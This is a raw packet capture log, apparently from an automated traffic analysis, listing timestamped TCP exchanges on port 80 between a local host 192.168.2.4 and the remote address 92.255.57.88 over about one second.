Nov 26, 2024 00:07:50.039896965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.039942980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.040529966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.040586948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.040623903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.040671110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.041352034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.041399002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.041467905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.041516066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.042184114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.042232037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.042298079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.042342901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.043056011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.043101072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.043133974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.043176889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.043908119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.043956041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.044012070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.044059992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.044651985 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.044696093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.044743061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.044780970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.045434952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.045490026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.045636892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.045682907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.046189070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.046235085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.046319962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.046365023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.046974897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.047023058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.047146082 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.047192097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.047739029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.047794104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.157340050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.157363892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.157412052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.157438040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.157507896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.157555103 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.157603979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.157650948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.158303022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.158380032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.158411026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.158448935 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.159100056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.159146070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.159202099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.159240961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.159925938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.159974098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.160017014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.160057068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.160712957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.160758972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.160821915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.160861969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.161528111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.161586046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.161626101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.161675930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.162329912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.162415981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.162447929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.162499905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.163140059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.163189888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.163340092 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.163388014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.163937092 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.163985968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.164057970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.164105892 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.164747000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.164804935 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.164973021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.165018082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.165611029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.165659904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.165689945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.165734053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.166435957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.166490078 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.166577101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.166620970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.167263985 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.167309046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.167412996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.167465925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.168051004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.168104887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.168118000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.168162107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.168797016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.168853045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.168911934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.168962002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.169606924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.169672012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.169737101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.169786930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.170459032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.170511961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.170603037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.170665026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.171278954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.171330929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.171439886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.171488047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.172303915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.172354937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.172467947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.172514915 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.173289061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.173341036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.173613071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.173664093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.174267054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.174324036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.174364090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.174412966 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.175045013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.175097942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.175131083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.175179958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.175649881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.175700903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.175721884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.175767899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.176227093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.176274061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.176294088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.176337004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.176866055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.176911116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.176979065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.177016973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.177800894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.177814007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.177845955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.177860975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.178495884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.178539991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.178580999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.178623915 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.179291964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.179349899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.179441929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.179492950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.180170059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.180223942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.180255890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.180306911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.180882931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.180938005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.239723921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.239819050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.240006924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.240032911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.240058899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.240077019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.240216970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.240262985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.240827084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.240875006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.240906954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.240950108 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.241648912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.241698027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.241765976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.241812944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.242490053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.242541075 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.242638111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.242685080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.243242025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.243288994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.243365049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.243412018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.244059086 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.244106054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.244263887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.244311094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.244856119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.244904995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.244940042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.244987965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.245666027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.245713949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.245789051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.245835066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.246452093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.246500969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.246566057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.246613026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.247298956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.247347116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.247427940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.247472048 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.248106003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.248153925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.248184919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.248233080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.248903036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.248955965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.249002934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.249049902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.249738932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.249803066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.249814987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.249855995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.250514030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.250560999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.250597000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.250641108 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.251306057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.251353025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.251410961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.251452923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.252681971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.252731085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.252830982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.252877951 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.253034115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.253079891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.286088943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.286216974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.286288023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.286489964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.286545038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.286575079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.286626101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.287379980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.287425995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.287489891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.287533998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.288106918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.288151026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.288240910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.288285017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.288960934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.289110899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.289160013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.289716959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.289761066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.289824009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.289872885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.367994070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.368041992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.368056059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.368088961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.368371010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.368417978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.368485928 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.368532896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.369178057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.369245052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.369287014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.369338036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.369987011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.370043993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.370085955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.370134115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.370794058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.370839119 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.370920897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.370965958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.371602058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.371650934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.371706009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.371762991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.372414112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.372458935 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.372539997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.372586012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.373224020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.373265982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.373306990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.373359919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.374147892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.374195099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.374242067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.374289989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.374844074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.374892950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.374933958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.374979973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.466610909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.586561918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.927781105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.927879095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.927917957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.927973986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.928230047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.928369999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.928416014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.928613901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.928626060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.928637028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.928647995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.928658009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.928667068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.928689957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.928719044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.929297924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.929424047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.929435968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.929467916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.930077076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.930131912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.930217981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.930262089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.930893898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.930936098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.931015015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.931061983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.931700945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.931747913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.931869030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.931915998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.932518959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.932575941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.932643890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.932693005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.933367014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.933414936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.933470964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.933518887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.934120893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.934168100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.934242010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.934283972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.934940100 CET	80	49753	92.255.57.88	192.168.2.4
